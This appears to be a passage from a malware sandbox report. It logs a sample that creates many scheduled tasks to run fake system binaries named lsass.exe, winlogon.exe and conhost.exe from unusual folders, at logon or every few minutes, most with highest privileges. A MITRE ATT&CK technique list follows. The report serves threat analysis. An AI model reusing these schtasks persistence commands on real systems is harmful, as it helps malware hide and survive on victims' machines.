- Process spawned unexpected child process
- Creates scheduled task(s)
PID:880

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Windows\PolicyDefinitions\es-ES\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1060

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 13 /tr "'C:\Windows\PolicyDefinitions\es-ES\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3596

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TiWorkerT" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Photo Viewer\TiWorker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4372

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TiWorker" /sc ONLOGON /tr "'C:\Program Files\Windows Photo Viewer\TiWorker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1244

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TiWorkerT" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Photo Viewer\TiWorker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4500

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\chainwebwinref\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:540

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\chainwebwinref\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3524

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 5 /tr "'C:\chainwebwinref\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:536

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 12 /tr "'C:\Program Files\Windows Mail\TextInputHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3056

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Program Files\Windows Mail\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2416

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Mail\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3244

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 7 /tr "'C:\Windows\Performance\WinSAT\DataStore\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2008

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Windows\Performance\WinSAT\DataStore\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1380

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 8 /tr "'C:\Windows\Performance\WinSAT\DataStore\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3928

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 10 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\winlogon.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2800

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office 15\ClientX64\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2500

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 11 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4508

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1872

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:3776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

Persistence

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery